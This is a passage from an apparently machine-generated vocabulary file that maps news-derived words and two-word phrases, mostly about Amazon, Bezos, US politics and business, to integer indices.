competition\": 73310,\n  \"tribune editors\": 73311,\n  \"says knock\": 73312,\n  \"refiners amazon\": 73313,\n  \"start hiring\": 73314,\n  \"plaintiffs attorneys\": 73315,\n  \"trump appeal\": 73316,\n  \"usps raising\": 73317,\n  \"buy shoes\": 73318,\n  \"series unscripted\": 73319,\n  \"makeup\": 73320,\n  \"twitter late\": 73321,\n  \"ousted\": 73322,\n  \"politicians say\": 73323,\n  \"enemy writes\": 73324,\n  \"2056\": 73325,\n  \"second supreme\": 73326,\n  \"ibm led\": 73327,\n  \"series\": 73328,\n  \"warfighters\": 73329,\n  \"woodward uncovered\": 73330,\n  \"2015 dinner\": 73331,\n  \"additional examples\": 73332,\n  \"promote sustainable\": 73333,\n  \"rise watch\": 73334,\n  \"epa sessions\": 73335,\n  \"area locations\": 73336,\n  \"propagated\": 73337,\n  \"exhausting\": 73338,\n  \"article netflixs\": 73339,\n  \"cause temporary\": 73340,\n  \"contract valued\": 73341,\n  \"tax shell\": 73342,\n  \"vivo\": 73343,\n  \"catalog offered\": 73344,\n  \"product revenue\": 73345,\n  \"county memorial\": 73346,\n  \"hearing according\": 73347,\n  \"yesterday earnings\": 73348,\n  \"paltry wage\": 73349,\n  \"stock focus\": 73350,\n  \"business ming\": 73351,\n  \"professional antitrust\": 73352,\n  \"inc_serid inc_prtid\": 73353,\n  \"greenwich connecticut\": 73354,\n  \"postal rate\": 73355,\n  \"ona\": 73356,\n  \"ceo robbie\": 73357,\n  \"michael fox\": 73358,\n  \"capacity treasury\": 73359,\n  \"stare\": 73360,\n  \"poetic license\": 73361,\n  \"recycle\": 73362,\n  \"scott gallaway\": 73363,\n  \"unwanted texts\": 73364,\n  \"meltdown\": 73365,\n  \"company ops\": 73366,\n  \"wasn helping\": 73367,\n  \"boteach\": 73368,\n  \"sure employee\": 73369,\n  \"installation companies\": 73370,\n  \"intolerant\": 73371,\n  \"instance amazon\": 73372,\n  \"worker programs\": 73373,\n  \"oligarchs\": 73374,\n  \"regional white\": 73375,\n  \"wall clocks\": 73376,\n  \"pooh\": 73377,\n  \"significant assets\": 73378,\n  \"michael moynihan\": 73379,\n  \"membership gotten\": 73380,\n  \"reserve president\": 73381,\n  \"actor jussie\": 73382,\n  \"opportunity yes\": 73383,\n  \"toxic stress\": 73384,\n  \"cooking almonds\": 73385,\n  \"fox newspeson\": 73386,\n  \"575\": 73387,\n  \"alves lawyer\": 73388,\n  \"annual concert\": 73389,\n  \"nix\": 73390,\n  \"indigenous reservation\": 73391,\n  \"gael garcia\": 73392,\n  \"new terminals\": 73393,\n  \"bring attention\": 73394,\n  \"group annual\": 73395,\n  \"organization concludes\": 73396,\n  \"particularly bad\": 73397,\n  \"earlier suggesting\": 73398,\n  \"mining amazon\": 73399,\n  \"alberts\": 73400,\n  \"trump ordered\": 73401,\n  \"utm_content investing_promo\": 73402,\n  \"nation peek\": 73403,\n  \"filter\": 73404,\n  \"alexander smalls\": 73405,\n  \"jun\": 73406,\n  \"insularity\": 73407,\n  \"just topped\": 73408,\n  \"bold world\": 73409,\n  \"counterfeit navarro\": 73410,\n  \"rifle association\": 73411,\n  \"feature film\": 73412,\n  \"pence quoted\": 73413,\n  \"resign kevin\": 73414,\n  \"fiction counts\": 73415,\n  \"moser don\": 73416,\n  \"online ad\": 73417,\n  \"rental company\": 73418,\n  \"billionaire wrote\": 73419,\n  \"price competition\": 73420,\n  \"rich guys\": 73421,\n  \"criticised bezos\": 73422,\n  \"surgical robots\": 73423,\n  \"genitals\": 73424,\n  \"better great\": 73425,\n  \"ticks\": 73426,\n  \"hiding places\": 73427,\n  \"delhi lenovo\": 73428,\n  \"unquote control\": 73429,\n  \"petition calling\": 73430,\n  \"porat promised\": 73431,\n  \"populist demand\": 73432,\n  \"organization spreading\": 73433,\n  \"lessons\": 73434,\n  \"second era\": 73435,\n  \"far investors\": 73436,\n  \"seized illegal\": 73437,\n  \"cult\": 73438,\n  \"concerns asked\": 73439,\n  \"images inadequacies\": 73440,\n  \"nurse assisting\": 73441,\n  \"add comment\": 73442,\n  \"operating companies\": 73443,\n  \"million mansion\": 73444,\n  \"nights weeknights\": 73445,\n  \"turn shoppers\": 73446,\n  \"emergency room\": 73447,\n  \"unduly downplaying\": 73448,\n  \"denounced\": 73449,\n  \"miguel mckelvey\": 73450,\n  \"hawley sen\": 73451,\n  \"independence autonomy\": 73452,\n  \"favale\": 73453,\n  \"canadian customers\": 73454,\n  \"2014 donald\": 73455,\n  \"urges europe\": 73456,\n  \"macy ap\": 73457,\n  \"bravery\": 73458,\n  \"platform underscores\": 73459,\n  \"annual operating\": 73460,\n  \"drugmakers\": 73461,\n  \"utilizes\": 73462,\n  \"amazons revenue\": 73463,\n  \"oversees blocked\": 73464,\n  \"locations offer\": 73465,\n  \"story tesla\": 73466,\n  \"femmes\": 73467,\n  \"yesterday turkey\": 73468,\n  \"newsweek report\": 73469,\n  \"aclu anti\": 73470,\n  \"honest answer\": 73471,\n  \"montessori\": 73472,\n  \"won approve\": 73473,\n  \"russians special\": 73474,\n  \"agency managed\": 73475,\n  \"sans evidence\": 73476,\n  \"youtube censorship\": 73477,\n  \"montessori inspired\": 73478,\n  \"vp2e7uy3aa\": 73479,\n  \"faster\": 73480,\n  \"elastic strap\": 73481,\n  \"maybe movie\": 73482,\n  \"promised president\": 73483,\n  \"just struck\": 73484,\n  \"ontrack\": 73485,\n  \"bs_bullet_primary facing\": 73486,\n  \"shutdown according\": 73487,\n  \"represent long\": 73488,\n  \"broad bipartisan\": 73489,\n  \"mozzarella kings\": 73490,\n  \"transit projects\": 73491,\n  \"don stop\": 73492,\n  \"emails exchanged\": 73493,\n  \"colleagues reps\": 73494,\n  \"trump sparking\": 73495,\n  \"story probably\": 73496,\n  \"just inappropriate\": 73497,\n  \"key question\": 73498,\n  \"group earlier\": 73499,\n  \"longtime friend\": 73500,\n  \"outlined\": 73501,\n  \"firm power\": 73502,\n  \"border security\": 73503,\n  \"recruiting amazon\": 73504,\n  \"hurd sit\": 73505,\n  \"nicole hemmer\": 73506,\n  \"2750989 lauren\": 73507,\n  \"tl labor\": 73508,\n  \"immigrants trump\": 73509,\n  \"martin singer\": 73510,\n  \"golden certificate\": 73511,\n  \"blitzer today\": 73512,\n  \"methylpyrrolidone\": 73513,\n  \"article accenture\": 73514,\n  \"taiwan semi\": 73515,\n  \"roger alves\": 73516,\n  \"loot brought\": 73517,\n  \"reuters blocked\": 73518,\n  \"letter picks\": 73519,\n  \"amazonas\": 73520,\n  \"minimum\": 73521,\n  \"traction states\": 73522,\n  \"hard jobs\": 73523,\n  \"automatically downloaded\": 73524,\n  \"complete solution\": 73525,\n  \"fold president\": 73526,\n  \"father death\": 73527,\n  \"seconds game\": 73528,\n  \"knowledge indicate\": 73529,\n  \"means people\": 73530,\n  \"heute mittwoch\": 73531,\n  \"2015 pecker\": 73532,\n  \"wars trade\": 73533,\n  \"starks\": 73534,\n  \"aap\": 73535,\n  \"celebrate israel\": 73536,\n  \"exposed damning\": 73537,\n  \"borrow page\": 73538,\n  \"conservative google\": 73539,\n  \"14th congressional\": 73540,\n  \"monopolize\": 73541,\n  \"bezos genitalia\": 73542,\n  \"citi group\": 73543,\n  \"coverup col\": 73544,\n  \"help fight\": 73545,\n  \"city presents\": 73546,\n  \"sciences team\": 73547,\n  \"cofounders ben\": 73548,\n  \"daily emails\": 73549,\n  \"sanchez did\": 73550,\n  \"splc designation\": 73551,\n  \"floating\": 73552,\n  \"sever ties\": 73553,\n  \"hudgins director\": 73554,\n  \"academy just\": 73555,\n  \"olive branch\": 73556,\n  \"decades long\": 73557,\n  \"assailants reportedly\": 73558,\n  \"insurance market\": 73559,\n  \"tallahassee fla\": 73560,\n  \"retail worker\": 73561,\n  \"valley ahead\": 73562,\n  \"suffer likewise\": 73563,\n  \"spiraled\": 73564,\n  \"subsidiary google\": 73565,\n  \"huge amounts\": 73566,\n  \"shutdown draws\": 73567,\n  \"guthrie\": 73568,\n  \"share details\": 73569,\n  \"connects canadians\": 73570,\n  \"world badass\": 73571,\n  \"flocked\": 73572,\n  \"backlash bloomberg\": 73573,\n  \"dual listed\": 73574,\n  \"million trump\": 73575,\n  \"neowin\": 73576,\n  \"forbes ranking\": 73577,\n  \"affect single\": 73578,\n  \"welfare fraud\": 73579,\n  \"rapidly ramping\": 73580,\n  \"unrelated industries\": 73581,\n  \"suggesting political\": 73582,\n  \"seemingly endless\": 73583,\n  \"daftness\": 73584,\n  \"true inc_copyeditedflag\": 73585,\n  \"household goods\": 73586,\n  \"stock portland\": 73587,\n  \"extraordinaire\": 73588,\n  \"additional losses\": 73589,\n  \"lawsuit south\": 73590,\n  \"talented work\": 73591,\n  \"anticipated project\": 73592,\n  \"overt trappings\": 73593,\n  \"television netflixs\": 73594,\n  \"demonstrates virginia\": 73595,\n  \"spice cabinet\": 73596,\n  \"corporate secrets\": 73597,\n  \"innovative product\": 73598,\n  \"figured\": 73599,\n  \"nast chief\": 73600,\n  \"company decision\": 73601,\n  \"encouraging enforcement\": 73602,\n  \"expression women\": 73603,\n  \"ignored 2013\": 73604,\n  \"origin data\": 73605,\n  \"cloud hanging\": 73606,\n  \"certificate legislation\": 73607,\n  \"bezos influence\": 73608,\n  \"amazon nyc\": 73609,\n  \"turn corner\": 73610,\n  \"weisberger ab\": 73611,\n  \"wichita falls\": 73612,\n  \"great technical\": 73613,\n  \"der\": 73614,\n  \"residential delivery\": 73615,\n  \"lot weaker\": 73616,\n  \"utilizes verify\": 73617,\n  \"muilenburg ceo\": 73618,\n  \"materialize walker\": 73619,\n  \"court believed\": 73620,\n  \"trademarked sent\": 73621,\n  \"slaps\": 73622,\n  \"placed amazon\": 73623,\n  \"replace chair\": 73624,\n  \"najarian walgreens\": 73625,\n  \"trump column\": 73626,\n  \"really grabbed\": 73627,\n  \"ethanol\": 73628,\n  \"ami feud\": 73629,\n  \"dry weather\": 73630,\n  \"216 8739\": 73631,\n  \"cadwalladr carolecadwalla\": 73632,\n  \"showed cyber\": 73633,\n  \"leveraging available\": 73634,\n  \"reach jobless\": 73635,\n  \"map challenge\": 73636,\n  \"boot camp\": 73637,\n  \"legal read\": 73638,\n  \"despite fear\": 73639,\n  \"follows shadow\": 73640,\n  \"vmware red\": 73641,\n  \"service group\": 73642,\n  \"indignation\": 73643,\n  \"brexit reuters\": 73644,\n  \"525\": 73645,\n  \"protein turkey\": 73646,\n  \"workers oppose\": 73647,\n  \"charged ryan\": 73648,\n  \"shabolubalu\": 73649,\n  \"vn\": 73650,\n  \"therhoten\": 73651,\n  \"comment publicly\": 73652,\n  \"points trump\": 73653,\n  \"zealand record\": 73654,\n  \"company hotly\": 73655,\n  \"best new\": 73656,\n  \"texas campus\": 73657,\n  \"mailers amazon\": 73658,\n  \"grants children\": 73659,\n  \"report included\": 73660,\n  \"baby\": 73661,\n  \"seizes isbn\": 73662,\n  \"day spot\": 73663,\n  \"body selfie\": 73664,\n  \"trade commission\": 73665,\n  \"ventures long\": 73666,\n  \"commend new\": 73667,\n  \"blaming small\": 73668,\n  \"ashley hallford\": 73669,\n  \"mazza\": 73670,\n  \"community look\": 73671,\n  \"man fighting\": 73672,\n  \"bring price\": 73673,\n  \"youve\": 73674,\n  \"future bezos\": 73675,\n  \"adult actor\": 73676,\n  \"vatican morocco\": 73677,\n  \"voqaw5nn2u\": 73678,\n  \"07810 791\": 73679,\n  \"week reports\": 73680,\n  \"rights multiple\": 73681,\n  \"cbs earnings\": 73682,\n  \"134 bought\": 73683,\n  \"bowl ad\": 73684,\n  \"republican policies\": 73685,\n  \"house cnn\": 73686,\n  \"leader xi\": 73687,\n  \"political arms\": 73688,\n  \"production globenewswire\": 73689,\n  \"report yesterday\": 73690,\n  \"rally ford\": 73691,\n  \"power dynamic\": 73692,\n  \"love monopolies\": 73693,\n  \"months opinion\": 73694,\n  \"injected fresh\": 73695,\n  \"morning oil\": 73696,\n  \"propaganda advantage\": 73697,\n  \"finance twist\": 73698,\n  \"diaspora\": 73699,\n  \"president threatened\": 73700,\n  \"reported commerzbank\": 73701,\n  \"feature hateful\": 73702,\n  \"educated transported\": 73703,\n  \"demographics including\": 73704,\n  \"2018 australia\": 73705,\n  \"old hometown\": 73706,\n  \"claim despite\": 73707,\n  \"trump fumed\": 73708,\n  \"consistently led\": 73709,\n  \"workers usually\": 73710,\n  \"coverage american\": 73711,\n  \"new analysis\": 73712,\n  \"ride fed\": 73713,\n  \"year assassination\": 73714,\n  \"bathroom breaks\": 73715,\n  \"lee artisan\": 73716,\n  \"hughes\": 73717,\n  \"elections imagine\": 73718,\n  \"instead\": 73719,\n  \"omg\": 73720,\n  \"rattling stock\": 73721,\n  \"scandalously\": 73722,\n  \"decimal\": 73723,\n  \"york desperately\": 73724,\n  \"prison inmates\": 73725,\n  \"sum\": 73726,\n  \"tightened labor\": 73727,\n  \"coalfire aws\": 73728,\n  \"including higher\": 73729,\n  \"corporate makes\": 73730,\n  \"870\": 73731,\n  \"trumps personal\": 73732,\n  \"filipino\": 73733,\n  \"personnel police\": 73734,\n  \"forced bezos\": 73735,\n  \"exploit people\": 73736,\n  \"actually operate\": 73737,\n  \"real autonomy\": 73738,\n  \"daughter brand\": 73739,\n  \"soccer shirt\": 73740,\n  \"worker perspective\": 73741,\n  \"recession japan\": 73742,\n  \"guidance essentially\": 73743,\n  \"future revenue\": 73744,\n  \"major discounts\": 73745,\n  \"html revenue\": 73746,\n  \"2018 sources\": 73747,\n  \"freeman stars\": 73748,\n  \"primaries koch\": 73749,\n  \"way according\": 73750,\n  \"major mailers\": 73751,\n  \"told congress\": 73752,\n  \"davao\": 73753,\n  \"company state\": 73754,\n  \"employers liable\": 73755,\n  \"rep maxine\": 73756,\n  \"floats\": 73757,\n  \"apples\": 73758,\n  \"jpm jamie\": 73759,\n  \"silly camaraderie\": 73760,\n  \"mccabe career\": 73761,\n  \"republicans want\": 73762,\n  \"new scheme\": 73763,\n  \"program called\": 73764,\n  \"practically\": 73765,\n  \"small companies\": 73766,\n  \"senate tears\": 73767,\n  \"talk sparked\": 73768,\n  \"final tower\": 73769,\n  \"solved\": 73770,\n  \"running significant\": 73771,\n  \"playerinstance play\": 73772,\n  \"offering generous\": 73773,\n  \"jr girlfriend\": 73774,\n  \"party interference\": 73775,\n  \"hq2 think\": 73776,\n  \"bush gore\": 73777,\n  \"press feb\": 73778,\n  \"112 billion\": 73779,\n  \"blogger kevin\": 73780,\n  \"comptroller celebrated\": 73781,\n  \"businesses sell\": 73782,\n  \"million rider\": 73783,\n  \"unusually good\": 73784,\n  \"past home\": 73785,\n  \"shirts yitzhak\": 73786,\n  \"collective\": 73787,\n  \"aron heller\": 73788,\n  \"save double\": 73789,\n  \"enhance\": 73790,\n  \"capital bezos\": 73791,\n  \"sanctions ___\": 73792,\n  \"kollmeyer 415\": 73793,\n  \"pics sent\": 73794,\n  \"debuted\": 73795,\n  \"stanley analysts\": 73796,\n  \"zuker presents\": 73797,\n  \"website yesterday\": 73798,\n  \"built construction\": 73799,\n  \"global demonic\": 73800,\n  \"mount rushmore\": 73801,\n  \"properly exercise\": 73802,\n  \"repeated bashing\": 73803,\n  \"live trump\": 73804,\n  \"usps despite\": 73805,\n  \"investigators looking\": 73806,\n  \"chris blessington\": 73807,\n  \"extraordinary risk\": 73808,\n  \"shopping appears\": 73809,\n  \"liii\": 73810,\n  \"cinnamon\": 73811,\n  \"budget especially\": 73812,\n  \"vainly pretending\": 73813,\n  \"offline ally\": 73814,\n  \"camel\": 73815,\n  \"news email\": 73816,\n  \"unseen benefits\": 73817,\n  \"outages\": 73818,\n  \"committees\": 73819,\n  \"stock symb\": 73820,\n  \"lme\": 73821,\n  \"important thing\": 73822,\n  \"years according\": 73823,\n  \"easley believed\": 73824,\n  \"carbon offsets\": 73825,\n  \"new businesses\": 73826,\n  \"seeks refuge\": 73827,\n  \"irritating\": 73828,\n  \"2019 specifically\": 73829,\n  \"quarter doug\": 73830,\n  \"lovely light\": 73831,\n  \"health insurer\": 73832,\n  \"misinterpreting\": 73833,\n  \"immigration agencies\": 73834,\n  \"josh rogin\": 73835,\n  \"eyebrows president\": 73836,\n  \"homebody\": 73837,\n  \"cantillon capital\": 73838,\n  \"leased cargo\": 73839,\n  \"conservative voices\": 73840,\n  \"sudden concerns\": 73841,\n  \"promotional videos\": 73842,\n  \"mark helmke\": 73843,\n  \"story millions\": 73844,\n  \"exceeding million\": 73845,\n  \"dingtalk\": 73846,\n  \"white republicans\": 73847,\n  \"santa ana\": 73848,\n  \"wsj says\": 73849,\n  \"trucking stocks\": 73850,\n  \"sarah writes\": 73851,\n  \"forever grateful\": 73852,\n  \"alex jones\": 73853,\n  \"5_5\": 73854,\n  \"engulfs quarantined\": 73855,\n  \"asset wsj\": 73856,\n  \"foundation shared\": 73857,\n  \"outlawing high\": 73858,\n  \"netflix art\": 73859,\n  \"children learn\": 73860,\n  \"protected\": 73861,\n  \"sized businesses\": 73862,\n  \"steve fixation\": 73863,\n  \"firstnet\": 73864,\n  \"2018 corrected\": 73865,\n  \"finance teaches\": 73866,\n  \"pursuing female\": 73867,\n  \"braithwaite brings\": 73868,\n  \"true unfortunately\": 73869,\n  \"active manager\": 73870,\n  \"exploring\": 73871,\n  \"enact moratorium\": 73872,\n  \"case unlike\": 73873,\n  \"i6 a4ee\": 73874,\n  \"lobby firm\": 73875,\n  \"news agencies\": 73876,\n  \"dollars spent\": 73877,\n  \"affirmative yeah\": 73878,\n  \"thesson\": 73879,\n  \"having huge\": 73880,\n  \"dalio\": 73881,\n  \"tiny hometown\": 73882,\n  \"attract complaints\": 73883,\n  \"media__image\": 73884,\n  \"total swamp\": 73885,\n  \"ta xa\": 73886,\n  \"teams look\": 73887,\n  \"stocks pulled\": 73888,\n  \"stalin armando\": 73889,\n  \"venting\": 73890,\n  \"2015 amazon\": 73891,\n  \"report false\": 73892,\n  \"herera especially\": 73893,\n  \"targets cisco\": 73894,\n  \"checkouts\": 73895,\n  \"suharto health\": 73896,\n  \"dont sell\": 73897,\n  \"enquirer considered\": 73898,\n  \"tiny player\": 73899,\n  \"regulatory hurdles\": 73900,\n  \"sheen jon\": 73901,\n  \"2nd headquarters\": 73902,\n  \"amazon win\": 73903,\n  \"helps entrepreneurs\": 73904,\n  \"government businesses\": 73905,\n  \"mueller team\": 73906,\n  \"product features\": 73907,\n  \"fuel leak\": 73908,\n  \"sale screen\": 73909,\n  \"ethan hawke\": 73910,\n  \"bittersweet\": 73911,\n  \"news bolsonaro\": 73912,\n  \"trump appointed\": 73913,\n  \"dod deep\": 73914,\n  \"bezos nude\": 73915,\n  \"comic begins\": 73916,\n  \"point party\": 73917,\n  \"verge conclusion\": 73918,\n  \"lighthouse\": 73919,\n  \"conservative employees\": 73920,\n  \"havoc\": 73921,\n  \"promoting crop\": 73922,\n  \"pachter\": 73923,\n  \"annadel apartments\": 73924,\n  \"funneled\": 73925,\n  \"pretexts\": 73926,\n  \"opening amazon\": 73927,\n  \"rural italian\": 73928,\n  \"sophisticated artificial\": 73929,\n  \"morici\": 73930,\n  \"war graciously\": 73931,\n  \"sessions pauses\": 73932,\n  \"accredited recruitment\": 73933,\n  \"leadership posts\": 73934,\n  \"phone bezos\": 73935,\n  \"warrant disclosure\": 73936,\n  \"poorest\": 73937,\n  \"vine program\": 73938,\n  \"borger\": 73939,\n  \"awful idea\": 73940,\n  \"items justifying\": 73941,\n  \"day maria\": 73942,\n  \"blackmail drag\": 73943,\n  \"shrinking industrial\": 73944,\n  \"year low\": 73945,\n  \"pasquale\": 73946,\n  \"werner contributed\": 73947,\n  \"gmblondonregion\": 73948,\n  \"battalion reaganbattalion\": 73949,\n  \"city plans\": 73950,\n  \"291\": 73951,\n  \"advanced talks\": 73952,\n  \"send photos\": 73953,\n  \"pc\": 73954,\n  \"weighed going\": 73955,\n  \"chains scrambling\": 73956,\n  \"hired amazon\": 73957,\n  \"amazon serves\": 73958,\n  \"holding sign\": 73959,\n  \"352 bought\": 73960,\n  \"bezos surpassed\": 73961,\n  \"development according\": 73962,\n  \"longer afford\": 73963,\n  \"decided thatthe\": 73964,\n  \"yielding\": 73965,\n  \"uber gaap\": 73966,\n  \"mitchell chance\": 73967,\n  \"dutch\": 73968,\n  \"investors cnbc\": 73969,\n  \"instagram saying\": 73970,\n  \"reagan bids\": 73971,\n  \"l8 e8\": 73972,\n  \"image 635x367\": 73973,\n  \"alexa enabled\": 73974,\n  \"director mick\": 73975,\n  \"streaming hardware\": 73976,\n  \"remained closed\": 73977,\n  \"unofficial adviser\": 73978,\n  \"stored\": 73979,\n  \"company thriving\": 73980,\n  \"know really\": 73981,\n  \"physical health\": 73982,\n  \"controversial silicon\": 73983,\n  \"ago secret\": 73984,\n  \"golden opportunity\": 73985,\n  \"gps\": 73986,\n  \"announces final\": 73987,\n  \"wtr\": 73988,\n  \"summer 2019\": 73989,\n  \"parenthood wasted\": 73990,\n  \"new iteration\": 73991,\n  \"asked larry\": 73992,\n  \"suburban denver\": 73993,\n  \"services doctors\": 73994,\n  \"year federal\": 73995,\n  \"bezos stance\": 73996,\n  \"sheen\": 73997,\n  \"readership\": 73998,\n  \"londonthenews wealthwire\": 73999,\n  \"holidays volumes\": 74000,\n  \"analysts tim\": 74001,\n  \"shirts hoodies\": 74002,\n  \"movie takes\": 74003,\n  \"second meeting\": 74004,\n  \"best stuff\": 74005,\n  \"frequently waded\": 74006,\n  \"mentioning\": 74007,\n  \"deeply biographical\": 74008,\n  \"impeachment pelosi\": 74009,\n  \"bob ward\": 74010,\n  \"bezos mackenzie\": 74011,\n  \"workers cause\": 74012,\n  \"revealed amid\": 74013,\n  \"sound quality\": 74014,\n  \"mojo domestic\": 74015,\n  \"potential primarily\": 74016,\n  \"season unfolds\": 74017,\n  \"content cia\": 74018,\n  \"pike sears\": 74019,\n  \"promising land\": 74020,\n  \"google opened\": 74021,\n  \"tour mozart\": 74022,\n  \"overnight mail\": 74023,\n  \"washington mitch\": 74024,\n  \"166 ken\": 74025,\n  \"whines fake\": 74026,\n  \"article article\": 74027,\n  \"deandre jordan\": 74028,\n  \"helped free\": 74029,\n  \"apple chief\": 74030,\n  \"big dam\": 74031,\n  \"notes personal\": 74032,\n  \"word response\": 74033,\n  \"2018 lion\": 74034,\n  \"swj\": 74035,\n  \"impeaching\": 74036,\n  \"scientific value\": 74037,\n  \"scholar lost\": 74038,\n  \"physical analogy\": 74039,\n  \"competing companies\": 74040,\n  \"gapping\": 74041,\n  \"best read\": 74042,\n  \"fascism\": 74043,\n  \"believe alphabet\": 74044,\n  \"twitter moderation\": 74045,\n  \"act swiftly\": 74046,\n  \"success factor\": 74047,\n  \"hourly compensation\": 74048,\n  \"retailer promoted\": 74049,\n  \"states loser\": 74050,\n  \"reckon\": 74051,\n  \"microinvesting\": 74052,\n  \"drop sharply\": 74053,\n  \"demand insurance\": 74054,\n  \"words icymi\": 74055,\n  \"positive collaborative\": 74056,\n  \"service regulations\": 74057,\n  \"resumed construction\": 74058,\n  \"dying war\": 74059,\n  \"squawk\": 74060,\n  \"process stephenson\": 74061,\n  \"includes thousands\": 74062,\n  \"world follow\": 74063,\n  \"wearing shirts\": 74064,\n  \"proprietary deal\": 74065,\n  \"exacerbate\": 74066,\n  \"comment companies\": 74067,\n  \"industries expected\": 74068,\n  \"did apple\": 74069,\n  \"rhetorically\": 74070,\n  \"river job\": 74071,\n  \"penned letter\": 74072,\n  \"weaken\": 74073,\n  \"129m\": 74074,\n  \"merchandise offerings\": 74075,\n  \"horn greer\": 74076,\n  \"systems amazon\": 74077,\n  \"expansion continues\": 74078,\n  \"officials pilfering\": 74079,\n  \"logo emblazoned\": 74080,\n  \"watching sports\": 74081,\n  \"ap\\u00e9ritif cocktail\": 74082,\n  \"significantly weaker\": 74083,\n  \"kreme\": 74084,\n  \"financing led\": 74085,\n  \"consumers voluntarily\": 74086,\n  \"lordstown plant\": 74087,\n  \"bystander revolution\": 74088,\n  \"dramatic finale\": 74089,\n  \"wapo breaking\": 74090,\n  \"policies enter\": 74091,\n  \"expected today\": 74092,\n  \"book victory\": 74093,\n  \"increase revenue\": 74094,\n  \"anticipates\": 74095,\n  \"reform act\": 74096,\n  \"glumly\": 74097,\n  \"warehouse leaders\": 74098,\n  \"hand wringing\": 74099,\n  \"strategy designed\": 74100,\n  \"komorebi craft\": 74101,\n  \"becker called\": 74102,\n  \"industry groups\": 74103,\n  \"eagerly\": 74104,\n  \"hayes\": 74105,\n  \"public instead\": 74106,\n  \"city called\": 74107,\n  \"result separately\": 74108,\n  \"watch airpods\": 74109,\n  \"dominant mail\": 74110,\n  \"california press\": 74111,\n  \"draw customers\": 74112,\n  \"contact ny\": 74113,\n  \"mollie tibbetts\": 74114,\n  \"monopoly behavior\": 74115,\n  \"hand makes\": 74116,\n  \"sharply changing\": 74117,\n  \"visit st\": 74118,\n  \"illinois remains\": 74119,\n  \"threatens eu\": 74120,\n  \"tough things\": 74121,\n  \"trusted cardinal\": 74122,\n  \"deleting obvious\": 74123,\n  \"distribution points\": 74124,\n  \"gluey\": 74125,\n  \"future think\": 74126,\n  \"reverse mortgage\": 74127,\n  \"administration aluminum\": 74128,\n  \"obama encouraged\": 74129,\n  \"forbes 400\": 74130,\n  \"country leading\": 74131,\n  \"cast gush\": 74132,\n  \"time created\": 74133,\n  \"vip viewing\": 74134,\n  \"category amazon\": 74135,\n  \"reverse amazon\": 74136,\n  \"straight talker\": 74137,\n  \"google did\": 74138,\n  \"medications amazon\": 74139,\n  \"roughly 860\": 74140,\n  \"actually meet\": 74141,\n  \"aquarefining tm\": 74142,\n  \"enterprisewide transformation\": 74143,\n  \"congress consider\": 74144,\n  \"claimed national\": 74145,\n  \"inequality yes\": 74146,\n  \"washington reuters\": 74147,\n  \"morrow cookbooks\": 74148,\n  \"inducing details\": 74149,\n  \"reeves marketwatch\": 74150,\n  \"purpose protect\": 74151,\n  \"2018 ryan\": 74152,\n  \"renovation business\": 74153,\n  \"horseback\": 74154,\n  \"k0 function\": 74155,\n  \"enforcer\": 74156,\n  \"potentially damaging\": 74157,\n  \"sag\": 74158,\n  \"countering\": 74159,\n  \"opener\": 74160,\n  \"finance violations\": 74161,\n  \"img_foreignkey\": 74162,\n  \"shooting alabama\": 74163,\n  \"abrams times\": 74164,\n  \"packagejoin\": 74165,\n  \"literally says\": 74166,\n  \"make direct\": 74167,\n  \"foods today\": 74168,\n  \"federal definition\": 74169,\n  \"frequent trump\": 74170,\n  \"lips\": 74171,\n  \"hollenhorst\": 74172,\n  \"paul candidate\": 74173,\n  \"hardware partners\": 74174,\n  \"everybody agrees\": 74175,\n  \"cia director\": 74176,\n  \"guinea\": 74177,\n  \"innovator\": 74178,\n  \"report chicago\": 74179,\n  \"know actually\": 74180,\n  \"workdays\": 74181,\n  \"leader trudeau\": 74182,\n  \"swell\": 74183,\n  \"hiring engineers\": 74184,\n  \"ace cash\": 74185,\n  \"approximately 400\": 74186,\n  \"commerce real\": 74187,\n  \"qanon explainer\": 74188,\n  \"asked university\": 74189,\n  \"expensive despite\": 74190,\n  \"slammed accusations\": 74191,\n  \"trump constructed\": 74192,\n  \"plays role\": 74193,\n  \"usps sackler\": 74194,\n  \"product improvements\": 74195,\n  \"volatile vietnam\": 74196,\n  \"ceo evan\": 74197,\n  \"just export\": 74198,\n  \"rankin university\": 74199,\n  \"office massive\": 74200,\n  \"bali vacation\": 74201,\n  \"jhamilton33\": 74202,\n  \"historically union\": 74203,\n  \"curb labor\": 74204,\n  \"newsgathering new\": 74205,\n  \"times ft\": 74206,\n  \"cloud ceo\": 74207,\n  \"things private\": 74208,\n  \"means chairman\": 74209,\n  \"trend fed\": 74210,\n  \"nasty\": 74211,\n  \"read deals\": 74212,\n  \"cap strongly\": 74213,\n  \"nary\": 74214,\n  \"712\": 74215,\n  \"doyle\": 74216,\n  \"eia\": 74217,\n  \"moneymaking\": 74218,\n  \"stocks rise\": 74219,\n  \"niles founding\": 74220,\n  \"ntap looks\": 74221,\n  \"skinny\": 74222,\n  \"chabad\": 74223,\n  \"groceries pharmacies\": 74224,\n  \"journalism categories\": 74225,\n  \"television interview\": 74226,\n  \"filmmaker intensely\": 74227,\n  \"tunisia democracy\": 74228,\n  \"meet big\": 74229,\n  \"matt damon\": 74230,\n  \"china parliament\": 74231,\n  \"damian\": 74232,\n  \"cuba\": 74233,\n  \"isn impressive\": 74234,\n  \"size weight\": 74235,\n  \"kathleen cannon\": 74236,\n  \"formulate new\": 74237,\n  \"counselor craig\": 74238,\n  \"court amid\": 74239,\n  \"pratt\": 74240,\n  \"criticism prompted\": 74241,\n  \"russell grandinetti\": 74242,\n  \"bianco pizza\": 74243,\n  \"jonathan kumar\": 74244,\n  \"using oracle\": 74245,\n  \"literary glimpse\": 74246,\n  \"conflicted guess\": 74247,\n  \"initiates\": 74248,\n  \"prosperity program\": 74249,\n  \"earlier buffett\": 74250,\n  \"sicario\": 74251,\n  \"high looking\": 74252,\n  \"make customers\": 74253,\n  \"attacking immigrants\": 74254,\n  \"action network\": 74255,\n  \"bathrooms speaking\": 74256,\n  \"dc2b 44ec\": 74257,\n  \"yara\": 74258,\n  \"extraordinary donate\": 74259,\n  \"properties nyse\": 74260,\n  \"india especially\": 74261,\n  \"workers save\": 74262,\n  \"week subscribe\": 74263,\n  \"big change\": 74264,\n  \"conversations occurring\": 74265,\n  \"cuomo depends\": 74266,\n  \"abandoning\": 74267,\n  \"ray version\": 74268,\n  \"dribble\": 74269,\n  \"skyline raised\": 74270,\n  \"crisis brian\": 74271,\n  \"initially released\": 74272,\n  \"employee pac\": 74273,\n  \"google remained\": 74274,\n  \"outlet buys\": 74275,\n  \"moreno roost\": 74276,\n  \"constantly updated\": 74277,\n  \"leon despite\": 